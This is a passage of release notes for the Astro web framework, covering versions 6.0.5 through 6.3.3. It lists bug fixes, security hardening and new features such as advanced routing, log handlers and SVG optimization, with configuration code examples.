  • #​16614 fca1c32 Thanks @​Eptagone! - Fixes entry.data type inference when a live collection is configured without a schema.

  • #​16661 03b8f7f Thanks @​ocavue! - Updates typescript to v6. No changes are needed from users.

  • #​16681 c22770a Thanks @​dotnetCarpenter! - Fixes an issue where SVG images with width="0" or height="0" incorrectly threw a NoImageMetadata error instead of being treated as valid dimensions.

v6.3.3

Compare Source

Patch Changes
  • #​16737 bd84f33 Thanks @​matthewp! - Fixes a reflected XSS vulnerability where slot names on hydrated components were not HTML-escaped in SSR output

v6.3.2

Compare Source

Patch Changes
  • #​16675 11d4592 Thanks @​ascorbic! - Fixes a regression where Astro.cache was undefined when experimental.cache was not configured.

    The previous documented behavior is for Astro.cache to always be defined as a no-op shim: cache.set() warns once, cache.invalidate() throws and cache.enabled can be used to gate. This allows library and user code can call cache methods without conditional checks. The cache provider registration was being gated at the call site on experimental.cache being configured, which meant the disabled shim branch inside the provider was unreachable and the Astro.cache getter was never attached to the context.

  • #​16691 0f0a4ce Thanks @​matthewp! - Fixes HTMLElement is not defined error during HMR when using components with client-side scripts (e.g. Starlight <Tabs>) and the Cloudflare adapter

  • #​16562 07529ec Thanks @​matthewp! - Fixes non-prerendered routes failing when a dynamic prerendered route exists in the same project with prerenderEnvironment: 'node'

  • #​16638 272185b Thanks @​ematipico! - Fixes a bug where the Astro compiler wasn't freed at the end of the build. After the fix, the memory used by the compiler is now correctly freed at the end of the build.

  • #​16544 d365c97 Thanks @​matthewp! - Tightens isRemotePath() to reject control characters after a leading slash and fixes the dev image endpoint origin check

  • #​16685 889e748 Thanks @​farrosfr! - Improve validation messages for security.csp.directives when script-src or style-src are incorrectly placed in the directives array.

  • #​16605 772f13a Thanks @​rururux! - Fixes assetsPrefix not being available on build from astro:config/server.

  • #​16556 f38dec7 Thanks @​matthewp! - Rejects double-encoded URL paths with a 400 response instead of silently falling back to partial decoding

  • #​16659 38bcb25 Thanks @​jsparkdev! - Fixes & characters appearing as raw entity strings (e.g. &#&#8203;38;) in <meta> tags when viewed in link previews or raw HTML.

  • Updated dependencies [d365c97, 9256345]:

v6.3.1

Compare Source

Patch Changes

v6.3.0

Compare Source

Minor Changes
  • #​16366 d69f858 Thanks @​matthewp! - Adds a new experimental.advancedRouting option that lets you take full control of Astro's request handling pipeline by creating a src/app.ts file in your project.

    Today, Astro handles every incoming request through a fixed internal pipeline: trailing slash normalization, redirects, actions, middleware, page rendering, i18n, and so on. That pipeline works great for most sites, but as projects grow you often want to run your own logic between those steps — an auth check before rendering, a rate limiter before actions, custom logging around the whole stack. Advanced routing gives you that control.

    When enabled, Astro looks for a src/app.ts file in your project. If it finds one, that file becomes the entrypoint for all server-rendered requests. You compose the pipeline yourself using the handlers Astro provides, and you can slot your own logic anywhere in the chain.

Enabling advanced routing
// astro.config.mjs
import { defineConfig } from 'astro/config';

export default defineConfig({
  experimental: {
    advancedRouting: true,
  },
});
Two ways to build your pipeline

Astro ships two entrypoints for advanced routing: astro/fetch and astro/hono.

astro/fetch is a low-level, framework-free API built on the Web Fetch standard. You create a FetchState from the incoming request, then call handler functions in sequence. Each handler takes the state, does its work, and returns a Response (or undefined to pass through). This is the core primitive that everything else is built on:

// src/app.ts
import {
  FetchState,
  trailingSlash,
  redirects,
  actions,
  middleware,
  pages,
  i18n,
} from 'astro/fetch';

export default {
  async fetch(request: Request) {
    const state = new FetchState(request);

    // Early exits — these return a Response only when they apply.
    const slash = trailingSlash(state);
    if (slash) return slash;

    const redirect = redirects(state);
    if (redirect) return redirect;

    const action = await actions(state);
    if (action) return action;

    // Middleware wraps page rendering; i18n post-processes the response.
    const response = await middleware(state, () => pages(state));
    return i18n(state, response);
  },
};

astro/hono wraps the same handlers as Hono middleware, so you can mix Astro's pipeline with Hono's ecosystem of middleware (logger, CORS, JWT, rate limiting, etc.) using the app.use() pattern you already know:

// src/app.ts
import { Hono } from 'hono';
import { getCookie } from 'hono/cookie';
import { logger } from 'hono/logger';
import { actions, middleware, pages, i18n } from 'astro/hono';

const app = new Hono();

app.use(logger());

// Auth gate — only runs for /dashboard routes.
app.use('/dashboard/*', async (c, next) => {
  const session = getCookie(c, 'session');
  if (!session) return c.redirect('/login');
  return next();
});

app.use(actions());
app.use(middleware());
app.use(pages());
app.use(i18n());

export default app;

Both approaches give you the same power — pick whichever fits your project. If you don't need a framework, astro/fetch keeps things minimal. If you want a rich middleware ecosystem, astro/hono gets you there with one import.

For more information on enabling and using this feature in your project, see the experimental advanced routing docs. To give feedback, or to keep up with its development, see the advanced routing RFC for more information and discussion.

  • #​16366 d69f858 Thanks @​matthewp! - Adds a consume() instance method to AstroCookies. This method marks the cookies as consumed and returns the Set-Cookie header values. After consumption, any subsequent set() calls will log a warning, since the headers have already been sent.

    Previously this was only available as a static method AstroCookies.consume(cookies). The static method is now deprecated but kept for backward compatibility with existing adapters.

  • #​16412 ba2d2e3 Thanks @​0xbejaxer! - Add retry and error event handling for astro-island hydration import failures to reduce unrecoverable hydration errors on transient network failures.

  • #​16582 885cd31 Thanks @​Princesseuh! - Adds a new image.dangerouslyProcessSVG flag to optionally enable processing SVG inputs. For security reasons, Astro will no longer rasterizes SVG image sources by default in its default image service and endpoint.

    Set image.dangerouslyProcessSVG: true to opt back into processing SVG inputs.

    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    
    export default defineConfig({
      // ...
      image: {
        dangerouslyProcessSVG: true,
      },
    });
    

    Note that this is a breaking change for users who were previously relying on Astro's default image service to rasterize SVG inputs, but it is a necessary change to improve security and prevent potential vulnerabilities.

  • #​16519 1b1c218 Thanks @​louisescher! - Adds support for redirecting URLs in remote image optimization.

    Previously, when a remote image URL meant to be optimized by Astro led to a redirect, Astro would fail silently and ignore the redirect. Now, Astro tracks up to 10 redirects for these images. If any of the redirects are not covered by a pattern in image.remotePatterns or a domain in image.domains, Astro will fail with a helpful error message.

    In the following example, the first image would be loaded successfully, while the second would lead to Astro throwing an error:

    export default defineConfig({
      image: {
        domains: ['example.com', 'cdn.example.com'],
      },
    });
    
    {
      /* Redirects to https://cdn.example.com/assets/image.png: */
    }
    <Image
      src="https://example.com/assets/image.png"
      width="1920"
      height="1080"
      alt="An example image."
    />;
    
    {
      /* Redirects to https://malicious.com/image.png: */
    }
    <Image
      src="https://example.com/bad-image.png"
      width="1920"
      height="1080"
      alt="An example image."
    />;
    

    In cases where all redirects to HTTPS hosts should be trusted, the following configuration for image.remotePatterns can be used:

    export default defineConfig({
      image: {
        remotePatterns: [
          {
            protocol: 'https',
          },
        ],
      },
    });
    
Patch Changes
  • #​16592 9c6efc5 Thanks @​matthewp! - Escapes interpolated values in the dev server redirect HTML template, consistent with how the 404 template already handles them

  • #​16585 78f305e Thanks @​web-dev0521! - Fixes z.array(z.boolean()) in form actions incorrectly coercing the string "false" to true. Boolean array elements now use the same 'true'/'false' string comparison as single z.boolean() fields, so submitting ["false", "true", "false"] correctly parses as [false, true, false].

  • #​16567 12a03f2 Thanks @​matthewp! - Fixes deleted content collection entries persisting in getCollection() results during dev

  • #​16595 ce9b25c Thanks @​web-dev0521! - Fixes pushDirective in the CSP runtime duplicating the new directive once per existing non-matching directive. Calling insertDirective() (or otherwise pushing a directive whose name is not yet in the list) now appends it exactly once, and a directive that merges with a later existing entry no longer leaves an unmerged copy behind.

  • #​16600 94e4b7c Thanks @​web-dev0521! - Fixes Astro.preferredLocale returning the wrong value when i18n.locales mixes object-form entries ({ path, codes }) with string entries that normalize to the same locale. The first matching code in the configured locales order is now selected, matching the documented behavior.

  • #​16591 cce20f7 Thanks @​matthewp! - Uses a consistent generic error message in the image endpoint across all adapters

  • #​16629 f54be80 Thanks @​g-taki! - Fixes a bug where SSR responses in astro dev could crash with TypeError: this.logger.flush is not a function.

  • #​16589 3740b24 Thanks @​ArmandPhilippot! - Fixes an outdated code snippet in the documentation for session storage configuration.

  • Updated dependencies [354e231]:

v6.2.2

Compare Source

Patch Changes
  • #​16292 00f48ee Thanks @​p-linnane! - Fixes head metadata propagation in dev for adapters that load modules in the prerender Vite environment, such as @astrojs/cloudflare. The astro:head-metadata plugin previously only tracked the ssr environment, so maybeRenderHead() could fire inside an unrelated component's <template> element, trapping subsequent hoisted <style> blocks.

  • #​16451 778865f Thanks @​maximslo! - Fixes build crash when processing animated AVIF images. Sharp now gracefully passes through unsupported image formats instead of crashing during the build.

  • #​16548 7214d3e Thanks @​senutpal! - Fixes scoped styles applying to the wrong element when vite.css.transformer is set to 'lightningcss' and a selector uses a nested & inside :where(...), such as Tailwind v4's space-x-*, space-y-*, and divide-* utilities.

  • #​16566 9ac96b4 Thanks @​web-dev0521! - Fixes data-astro-prefetch="tap" not triggering when clicking nested elements (e.g. <span>, <img>, <svg>) inside an anchor tag.

  • #​15994 1e70d18 Thanks @​ossaidqadri! - Fix <style> compilation failure when importing Astro components via tsconfig path aliases

  • #​16144 1cd6650 Thanks @​fkatsuhiro! - Fixed a regression where .html was unexpectedly stripped from dynamic route parameters on non-page routes (.ts endpoints and redirects). This caused endpoints like /some/[...id].ts returning id: 'file.html' on getStaticPaths to not serve that file because the generated route (/some/file.html) would get matched as id: file that is not part of the list returned by getStaticPaths.

  • #​16415 559c0fd Thanks @​0xbejaxer! - Fix CSS traversal boundaries so pages with export const partial = true still contribute styles when imported as components by other pages.

  • #​16516 17f1867 Thanks @​fkatsuhiro! - Fixes an issue where the index route would return a 404 error when using a custom base path combined with trailingSlash: 'never'. This ensures that the home page and internal rewrites are correctly matched under these configurations.

  • #​16515 280ec88 Thanks @​jp-knj! - Fixes an issue where i18n.fallback pages with fallbackType: 'rewrite' were emitted with empty bodies during astro build.

  • #​16565 7959798 Thanks @​enjoyandlove! - Fixes session persistence when session.delete() is the first mutation in a request (no prior get, set, has, or keys). The session was marked dirty in memory, but persistence skipped the save because #data stayed undefined, so the backing store could still return the deleted key on the next request.

  • #​16527 86fd80d Thanks @​enjoyandlove! - Prevents script deduplication state from being consumed while rendering inert <template> contexts.

  • #​16540 e59c637 Thanks @​ascorbic! - Skips session storage reads when no session cookie is present. Previously, calling session.get() on a request without a session cookie would initialize the storage driver and make a read that was guaranteed to miss. On network-backed drivers this added latency and resource usage to every anonymous request.

  • #​16517 6ab0b3c Thanks @​adamchal! - Removes inline CSS for prerendered routes from the SSR manifest. The static HTML on disk already inlines those styles, and the SSR worker never renders prerendered routes, so the data was dead weight. Builds with many prerendered routes and build.inlineStylesheets: "always" (or "auto" with small stylesheets) will see a smaller SSR entry chunk, which reduces cold-start parse time on platforms like Cloudflare Workers.

  • #​16509 d3d3557 Thanks @​cyphercodes! - Fix conditional named slot callbacks receiving arguments from Astro.slots.render().

  • #​16236 c6b068e Thanks @​fkatsuhiro! - Fixes the position prop on <Image /> and <Picture /> components to correctly apply object-position styles

  • #​16018 d14f47c Thanks @​felmonon! - Fix defineLiveCollection() so LiveLoader data types declared as interfaces are accepted.

v6.2.1

Compare Source

Patch Changes
  • #​16531 76db01d Thanks @​rodrigosdev! - Fixes config validation for omitted integrations fields with newer Zod versions.

  • #​16535 7df0fe4 Thanks @​rururux! - Fixed an issue where a warning was displayed when the server property was missing during config validation, even though it is not required.

  • #​16534 5cf6c51 Thanks @​matthewp! - Fixes compatibility with Zod 4.4.0 for the server config property and error formatting

v6.2.0

Compare Source

Minor Changes
  • #​16187 fe58071 Thanks @​gllmt! - Adds a waitUntil option to the RenderOptions so that adapters can forward runtime background-task hooks to Astro.

    When provided by an adapter, runtime cache providers receive context.waitUntil in
    CacheProvider.onRequest(), which allows background cache work such as stale-while-revalidate
    without blocking the response. The Cloudflare adapter now forwards
    ExecutionContext.waitUntil to this API.

  • #​16290 a49637a Thanks @​ViVaLaDaniel! - Ensures that server.allowedHosts (and vite.preview.allowedHosts) configuration is respected when using astro preview with the @astrojs/cloudflare adapter. This improves security by preventing DNS rebinding attacks when previewing Cloudflare builds locally.

  • #​15725 4108ec1 Thanks @​meyer! - Adds support for a new 'jsx' value for the compressHTML option. When set, whitespace is stripped using JSX whitespace rules instead of the default HTML compression strategy.

    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    
    export default defineConfig({
      compressHTML: 'jsx',
    });
    

    In JSX, whitespaces never matter, as such, no amount of indentation, or newlines will not affect the rendered output. For instance, the following code:

    <div>
      <span>foo</span>
      <span>bar</span>
    </div>
    

    will be rendered as foobar, whereas with HTML whitespace rules, a space would be present between the words due to the newline and indentation between the tags.

  • #​16477 28fb3e1 Thanks @​ematipico! - Adds experimental support for configurable log handlers.

    This experimental feature provides better control over Astro's logging infrastructure by allowing users to replace the default console output with custom logging implementations (e.g., structured JSON). This is particularly useful for users using on-demand rendering and wishing to connect their log aggregation services, such as Kibana, Logstash, CloudWatch, Grafana, or Loki.

    By default, Astro provides three built-in log handlers (json, node, and console), but you can also create your own.

JSON logging

JSON logging can be enabled via the CLI for the build, dev, and sync commands using the experimentalJson flag:

// astro.config.mjs
import { defineConfig, logHandlers } from 'astro/config';

export default defineConfig({
  experimental: {
    logger: logHandlers.json({
      pretty: true,
      level: 'warn',
    }),
  },
});
Custom logger

You can also create your own custom logger by implementing the correct interface:

// astro.config.mjs
import { defineConfig } from 'astro/config';

export default defineConfig({
  experimental: {
    logger: {
      entrypoint: '@&#8203;org/custom-logger',
    },
  },
});
// @&#8203;org/custom-logger.js
import type { AstroLoggerDestination, AstroLoggerMessage } from 'astro';
import { matchesLevel } from 'astor/logger';

function customLogger(level = 'info'): AstroLoggerDestination {
  return {
    write(message: AstroLoggerMessage) {
      if (matchesLevel(message.level, level)) {
        // write message somewhere
      }
    },
  };
}

export default customLogger;

For more information on enabling and using this feature in your project, see the Experimental Logger docs.

For a complete overview and to give feedback on this experimental API, see the Custom logger RFC.

  • #​16333 0f7c3c8 Thanks @​florian-lefebvre! - Adds an experimental flag svgOptimizer that enables automatic optimization of your SVG components using the provided optimizer. This supersedes the svgo experimental flag, which is now removed.

    When enabled, your imported SVG files used as components will be optimized for smaller file sizes and better performance while maintaining visual quality. This can significantly reduce the size of your SVG assets by removing unnecessary metadata, comments, and redundant code.

    Astro ships with a SVGO based optimizer, but any can be used.

    To enable this feature, add the experimental flag in your Astro config and remove svgo if it was enabled:

    // astro.config.mjs
    -import { defineConfig } from "astro/config";
    +import { defineConfig, svgoOptimizer } from "astro/config";
    
    export default defineConfig({
    +  experimental: {
    +    svgOptimizer: svgoOptimizer()
    -    svgo: true
    +  }
    });
    

    For more information on enabling and using this feature in your project, see the experimental SVG optimization docs.

  • #​16302 f6f8e80 Thanks @​florian-lefebvre! - Adds a new experimental_getFontFileURL() method to resolve font file URLs when using the Fonts API

    The fontData object exported from astro:assets was introduced to provide low-level access to font family data for advanced usage. One of the goals of this API was to be able to resolve buffers using URLs. However, it turned out to be impractical, especially during prerendering.

    Astro now exports a new experimental_getFontFileURL() helper function from astro:assets to resolve font file URLs from fontData. For example, when using satori to generate Open Graph images:

    // src/pages/og.png.ts
    
    import type { APIRoute } from "astro";
    -import { fontData } from "astro:assets";
    +import { fontData, experimental_getFontFileURL } from "astro:assets";
    -import { outDir } from "astro:config/server";
    -import { readFile } from "node:fs/promises";
    import satori from "satori";
    import { html } from "satori-html";
    import sharp from "sharp";
    
    export const GET: APIRoute = async (context) => {
      const fontPath = fontData["--font-roboto"][0]?.src[0]?.url;
    
      if (fontPath === undefined) {
        throw new Error("Cannot find the font path.");
      }
    
    -  const data = import.meta.env.DEV
    -    ? await fetch(new URL(fontPath, context.url.origin)).then(async (res) => res.arrayBuffer())
    -    : await readFile(new URL(`.${fontPath}`, outDir));
    +  const url = experimental_getFontFileURL(fontPath, context.url);
    +  const data = await fetch(url).then((res) => res.arrayBuffer());
    
      const svg = await satori(
        html`<div style="color: black;">hello, world</div>`,
        {
          width: 600,
          height: 400,
          fonts: [
            {
              name: "Roboto",
              data,
              weight: 400,
              style: "normal",
            },
          ],
        },
      );
    
      const pngBuffer = await sharp(Buffer.from(svg))
        .resize(600, 400)
        .png()
        .toBuffer();
    
      return new Response(new Uint8Array(pngBuffer), {
        headers: {
          "Content-Type": "image/png",
        },
      });
    };
    

    See the Fonts API documentation for more information.

Patch Changes

v6.1.10

Compare Source

Patch Changes
  • #​16479 1058428 Thanks @​matthewp! - Fixes a spurious [WARN] [content] Content config not loaded warning during astro dev for projects that don't use content collections

  • #​16457 3d82220 Thanks @​matthewp! - Hardens server island encryption to prevent encrypted data from one island component being replayed against a different one

  • #​16481 152700e Thanks @​matthewp! - Fixes a spurious 404 request for a dev toolbar sourcemap during astro dev caused by the browser mis-resolving a relative sourceMappingURL from the /@&#8203;id/ URL prefix

  • #​16480 1bcb43b Thanks @​matthewp! - Fixes an unnecessary full page reload on first navigation during dev

v6.1.9

Compare Source

Patch Changes

v6.1.8

Compare Source

Patch Changes
  • #​16367 a6866a7 Thanks @​ematipico! - Fixes an issue where build output files could contain special characters (!, ~, {, }) in their names, causing deploy failures on platforms like Netlify.

  • #​16381 217c5b3 Thanks @​ematipico! - Slightly improved the performance of the dev server by caching the internal crawling of the dependencies of a project.

  • #​16348 7d26cd7 Thanks @​ocavue! - Fixes a bug where emitted assets during a client build would contain always fresh, new hashes in their name. Now the build should be more stable.

  • #​16317 d012bfe Thanks @​das-peter! - Fixes a bug where allowedDomains weren't correctly propagated when using the development server.

  • #​16379 5a84551 Thanks @​martrapp! - Improves Vue scoped style handling in DEV mode during client router navigation.

  • #​16317 d012bfe Thanks @​das-peter! - Adds tests to verify settings are properly propagated when using the development server.

  • #​16282 5b0fdaa Thanks @​jmurty! - Fixes build errors on platforms with skew protection enabled (e.g. Vercel, Netlify) for inter-chunk Javascript using dynamic imports

  • Updated dependencies [e0b240e]:

v6.1.7

Compare Source

Patch Changes
  • #​16027 c62516b Thanks @​fkatsuhiro! - Fixes a bug where remote image dimensions were not validated during static builds on Netlify.

  • #​16311 94048f2 Thanks @​Arecsu! - Fixes --port flag being ignored after a Vite-triggered server restart (e.g. when a .env file changes)

  • #​16316 0fcd04c Thanks @​ematipico! - Fixes the /_image endpoint accepting an arbitrary f=svg query parameter and serving non-SVG content as image/svg+xml. The endpoint now validates that the source is actually SVG before honoring f=svg, matching the same guard already enforced on the <Image> component path.

v6.1.6

Compare Source

Patch Changes
  • #​16202 b5c2fba Thanks @​matthewp! - Fixes Actions failing with ActionsWithoutServerOutputError when using output: 'static' with an adapter

  • #​16303 b06eabf Thanks @​matthewp! - Improves handling of special characters in inline <script> content

  • #​14924 bb4586a Thanks @​aralroca! - Fixes SCSS and CSS module file changes triggering a full page reload instead of hot-updating styles in place during development

v6.1.5

Compare Source

Patch Changes
  • #​16171 5bcd03c Thanks @​Desel72! - Fixes a build error that occurred when a pre-rendered page used the <Picture> component and another page called render() on content collection entries.

  • #​16239 7c65c04 Thanks @​dataCenter430! - Fixes sync content inside <Fragment> not streaming to the browser until all async sibling expressions have resolved.

  • #​16242 686c312 Thanks @​martrapp! - Revives UnoCSS in dev mode when used with the client router.

    This change partly reverts #​16089, which in hindsight turned out to be too general. Instead of automatically persisting all style sheets, we now do this only for styles from Vue components.

  • #​16192 79d86b8 Thanks @​alexanderniebuhr! - Uses today’s date for Cloudflare compatibility_date in astro add cloudflare

    When creating new projects, astro add cloudflare now sets compatibility_date to the current date. Previously, this date was resolved from locally installed packages, which could be unreliable in some package manager environments. Using today’s date is simpler and more reliable across environments, and is supported by workerd.

  • #​16259 34df955 Thanks @​gameroman! - Removed dlv dependency

v6.1.4

Compare Source

Patch Changes
  • #​16197 21f9fe2 Thanks @​SchahinRohani! - Remove unused re-exports from assets/utils barrel file to fix Vite build warning

  • #​16059 6d5469e Thanks @​matthewp! - Fixes Expected 'miniflare' to be defined errors and 404 responses in dev mode when using the Cloudflare adapter and the config file changes. Instead of creating a brand new Vite server on config changes, Astro now performs a Vite in-place restart, allowing the Cloudflare adapter to reuse its existing miniflare instance across restarts.

  • #​16154 7610ba4 Thanks @​Desel72! - Fixes pages with dots in their filenames (e.g. hello.world.astro) returning 404 when accessed with a trailing slash in the dev server. The trailingSlashForPath function now only forces trailingSlash: 'never' for endpoints with file extensions, allowing pages to correctly respect the user's trailingSlash config.

  • #​16193 23425e2 Thanks @​matthewp! - Fixes trailingSlash: "always" producing redirect HTML instead of the actual response for extensionless endpoints during static builds

v6.1.3

Compare Source

Patch Changes
  • #​16161 b51f297 Thanks @​matthewp! - Fixes a dev rendering issue with the Cloudflare adapter where head metadata could be missing and dev CSS/scripts could be injected in the wrong place

  • #​16110 de669f0 Thanks @​tmimmanuel! - Fixes skew protection query parameters not being appended to inter-chunk JavaScript imports in client bundles, which could cause version mismatches during rolling deployments on Vercel

  • #​16162 a0a49e9 Thanks @​rururux! - Fixes an issue where HMR would not trigger when modifying files while using @​astrojs/cloudflare with prerenderEnvironment: 'node' enabled.

  • #​16142 7454854 Thanks @​rururux! - Fixes HTML content being incorrectly escaped as plain text when rendering a MDX component using the AstroContainer APIs.

  • #​16116 12602a9 Thanks @​riderx! - Fixes a bug where page-level CSS could leak between unrelated pages when traversing style parents across top-level route boundaries

  • #​16178 a7e7567 Thanks @​matthewp! - Fixes SSR builds failing with "No matching renderer found" when a project only has injected routes and no src/pages/ directory

v6.1.2

Compare Source

Patch Changes
  • #​16104 47a394d Thanks @​matthewp! - Fixes astro preview ignoring vite.preview.allowedHosts set in astro.config.mjs

  • #​16047 711f837 Thanks @​matthewp! - Fixes catch-all routes incorrectly intercepting requests for static assets when using the @astrojs/node adapter in middleware mode.

  • #​15981 a60cbb6 Thanks @​moktamd! - Fix Zod v4 validation error formatting to show human-readable messages instead of raw JSON

v6.1.1

Compare Source

Patch Changes
  • #​16479 1058428 Thanks @​matthewp! - Fixes a spurious [WARN] [content] Content config not loaded warning during astro dev for projects that don't use content collections

  • #​16457 3d82220 Thanks @​matthewp! - Hardens server island encryption to prevent encrypted data from one island component being replayed against a different one

  • #​16481 152700e Thanks @​matthewp! - Fixes a spurious 404 request for a dev toolbar sourcemap during astro dev caused by the browser mis-resolving a relative sourceMappingURL from the /@&#8203;id/ URL prefix

  • #​16480 1bcb43b Thanks @​matthewp! - Fixes an unnecessary full page reload on first navigation during dev

v6.1.0

Compare Source

Minor Changes
  • #​15804 a5e7232 Thanks @​merlinnot! - Allows setting codec-specific defaults for Astro's built-in Sharp image service via image.service.config.

    You can now configure encoder-level options such as jpeg.mozjpeg, webp.effort, webp.alphaQuality, avif.effort, avif.chromaSubsampling, and png.compressionLevel when using astro/assets/services/sharp for compile-time image generation.

    These settings apply as defaults for the built-in Sharp pipeline, while per-image quality still takes precedence when set on <Image />, <Picture />, or getImage().

  • #​15455 babf57f Thanks @​AhmadYasser1! - Adds fallbackRoutes to the IntegrationResolvedRoute type, exposing i18n fallback routes to integrations via the astro:routes:resolved hook for projects using fallbackType: 'rewrite'.

    This allows integrations such as the sitemap integration to properly include generated fallback routes in their output.

    {
      'astro:routes:resolved': ({ routes }) => {
        for (const route of routes) {
          for (const fallback of route.fallbackRoutes) {
            console.log(fallback.pathname) // e.g. /fr/about/
          }
        }
      }
    }
    
  • #​15340 10a1a5a Thanks @​trueberryless! - Adds support for advanced configuration of SmartyPants in Markdown.

    You can now pass an options object to markdown.smartypants in your Astro configuration to fine-tune how punctuation, dashes, and quotes are transformed.

    This is helpful for projects that require specific typographic standards, such as "oldschool" dash handling or localized quotation marks.

    // astro.config.mjs
    export default defineConfig({
      markdown: {
        smartypants: {
          backticks: 'all',
          dashes: 'oldschool',
          ellipses: 'unspaced',
          openingQuotes: { double: '«', single: '‹' },
          closingQuotes: { double: '»', single: '›' },
          quotes: false,
        },
      },
    });
    

    See the retext-smartypants options for more information.

Patch Changes
  • #​16025 a09f319 Thanks @​koji-1009! - Instructs the client router to skip view transition animations when the browser is already providing its own visual transition, such as a swipe gesture.

  • #​16055 ccecb8f Thanks @​Gautam-Bharadwaj! - Fixes an issue where client:only components could have duplicate client:component-path attributes added in MDX in rare cases

  • #​16081 44fc340 Thanks @​crazylogic03! - Fixes the emitFile() is not supported in serve mode warning that appears during astro dev when using integrations that inject before-hydration scripts (e.g. @astrojs/react)

  • #​16068 31d733b Thanks @​Karthikeya1500! - Fixes the dev toolbar a11y audit incorrectly classifying menuitemradio as a non-interactive ARIA role.

  • #​16080 e80ac73 Thanks @​ematipico! - Fixes experimental.queuedRendering incorrectly escaping the HTML output of .html page files, causing the page content to render as plain text instead of HTML in the browser.

  • #​16048 13b9d56 Thanks @​matthewp! - Fixes a dev server crash (serverIslandNameMap.get is not a function) that occurred when navigating to a page with server:defer after first visiting a page without one, when using @astrojs/cloudflare

  • #​16093 336e086 Thanks @​Snugug! - Fixes Zod meta not correctly being rendered on top-level schema when converted into JSON Schema

  • #​16043 d402485 Thanks @​ematipico! - Fixes checkOrigin CSRF protection in astro dev behind a TLS-terminating reverse proxy. The dev server now reads X-Forwarded-Proto (gated on security.allowedDomains, matching production behaviour) so the constructed request origin matches the https:// origin the browser sends. Also ensures security.allowedDomains and security.checkOrigin are respected in dev.

  • #​16064 ba58e0d Thanks @​ematipico! - Updates the dependency svgo to the latest, to fix a security issue.

  • #​16007 2dcd8d5 Thanks @​florian-lefebvre! - Fixes a case where fonts files would unecessarily be copied several times during the build

  • #​16017 b089b90 Thanks @​felmonon! - Fix the astro sync error message when getImage() is called while loading content collections.

  • #​16014 fa73fbb Thanks @​matthewp! - Fixes a build error where using astro:config/client inside a <script> tag would cause Rollup to fail with "failed to resolve import virtual:astro:routes from virtual:astro:manifest"

  • #​16054 f74465a Thanks @​seroperson! - Fixes an issue with the development server, where changes to the middleware weren't picked, and it required a full restart of the server.

  • #​16033 198d31b Thanks @​adampage! - Fixes a bug where the the role image was incorrectly reported by audit tool bar.

  • #​15935 278828c Thanks @​oliverlynch! - Fixes cached assets failing to revalidate due to redirect check mishandling Not Modified responses.

  • #​16075 2c1ae85 Thanks @​florian-lefebvre! - Fixes a case where invalid URLs would be generated in development when using font families with an oblique style and angles

  • #​16062 87fd6a4 Thanks @​matthewp! - Warns on dev server startup when Vite 8 is detected at the top level of the user's project, and automatically adds a "overrides": { "vite": "^7" } entry to package.json when running astro add cloudflare. This prevents a require_dist is not a function crash caused by a Vite version split between Astro (requires Vite 7) and packages like @tailwindcss/vite that hoist Vite 8.

  • Updated dependencies [10a1a5a]:

v6.0.8

Compare Source

Patch Changes
  • #​15978 6d182fe Thanks @​seroperson! - Fixes a bug where Astro Actions didn't properly support nested object properties, causing problems when users used zod functions such as superRefine or discriminatedUnion.

  • #​16011 e752170 Thanks @​matthewp! - Fixes a dev server hang on the first request when using the Cloudflare adapter

  • #​15997 1fddff7 Thanks @​ematipico! - Fixes Astro.rewrite() failing when the target path contains duplicate slashes (e.g. //about). The duplicate slashes are now collapsed before URL parsing, preventing them from being interpreted as a protocol-relative URL.

v6.0.7

Compare Source

Patch Changes
  • #​15950 acce5e8 Thanks @​matthewp! - Fixes a build regression in projects with multiple frontend integrations where server:defer server islands could fail at runtime when all pages are prerendered.

  • #​15988 c93b4a0 Thanks @​ossaidqadri! - Fix styles from dynamically imported components not being injected on first dev server load.

  • #​15968 3e7a9d5 Thanks @​chasemccoy! - Fixes renderMarkdown in custom content loaders not resolving images in markdown content. Images referenced in markdown processed by renderMarkdown are now correctly optimized, matching the behavior of the built-in glob() loader.

  • #​15990 1e6017f Thanks @​ematipico! - Fixes an issue where Astro.currentLocale would always be the default locale instead of the actual one when using a dynamic route like [locale].astro or [locale]/index.astro. It now resolves to the correct locale from the URL.

  • #​15990 1e6017f Thanks @​ematipico! - Fixes an issue where visiting an invalid locale URL (e.g. /asdf/) would show the content of a dynamic [locale] page with a 404 status code, instead of showing your custom 404 page. Now, the correct 404 page is rendered when the locale in the URL doesn't match any configured locale.

  • #​15960 1d84020 Thanks @​matthewp! - Fixes Cloudflare dev server islands with prerenderEnvironment: 'node' by sharing the serialized manifest encryption key across dev environments and routing server island requests through the SSR runtime.

  • #​15735 9685e2d Thanks @​fa-sharp! - Fixes an EventEmitter memory leak when serving static pages from Node.js middleware.

    When using the middleware handler, requests that were being passed on to Express / Fastify (e.g. static files / pre-rendered pages / etc.) weren't cleaning up socket listeners before calling next(), causing a memory leak warning. This fix makes sure to run the cleanup before calling next().

v6.0.6

Compare Source

Patch Changes
  • #​15965 2dca307 Thanks @​matthewp! - Fixes client hydration for components imported through Node.js subpath imports (package.json#imports, e.g. #components/*), for example when using the Cloudflare adapter in development.

  • #​15770 6102ca2 Thanks @​jpc-ae! - Updates the create astro welcome message to highlight the graceful dev/preview server quit command rather than the kill process shortcut

  • #​15953 7eddf22 Thanks @​Desel72! - fix(hmr): eagerly recompile on style-only change to prevent stale slots render

  • #​15916 5201ed4 Thanks @​trueberryless! - Fixes InferLoaderSchema type inference for content collections defined with a loader that includes a schema

  • #​15864 d3c7de9 Thanks @​florian-lefebvre! - Removes temporary support for Node >=20.19.1 because Stackblitz now uses Node 22 by default

  • #​15944 a5e1acd Thanks @​fkatsuhiro! - Fixes SSR dynamic routes with .html extension (e.g. [slug].html.astro) not working

  • #​15937 d236245 Thanks @​ematipico! - Fixes an issue where HMR didn't correctly work on Windows when adding/changing/deleting routes in pages/.

  • #​15931 98dfb61 Thanks @​Strernd! - Fix skew protection query params not being applied to island hydration component-url and renderer-url, and ensure query params are appended safely for asset URLs with existing search/hash parts.

  • Updated dependencies []:

v6.0.5

Compare Source

Patch Changes
  • #​15891 b889231 Thanks @​matthewp! - Fix dev routing for server:defer islands when adapters opt into handling prerendered routes in Astro core. Server island requests are now treated as prerender-handler eligible so prerendered pages using prerenderEnvironment: 'node' can load island content without 400 errors.

  • #​15890 765a887 Thanks @​matthewp! - Fixes astro:actions validation to check resolved routes, so projects using default static output with at least one prerender = false page or endpoint no longer fail during startup.

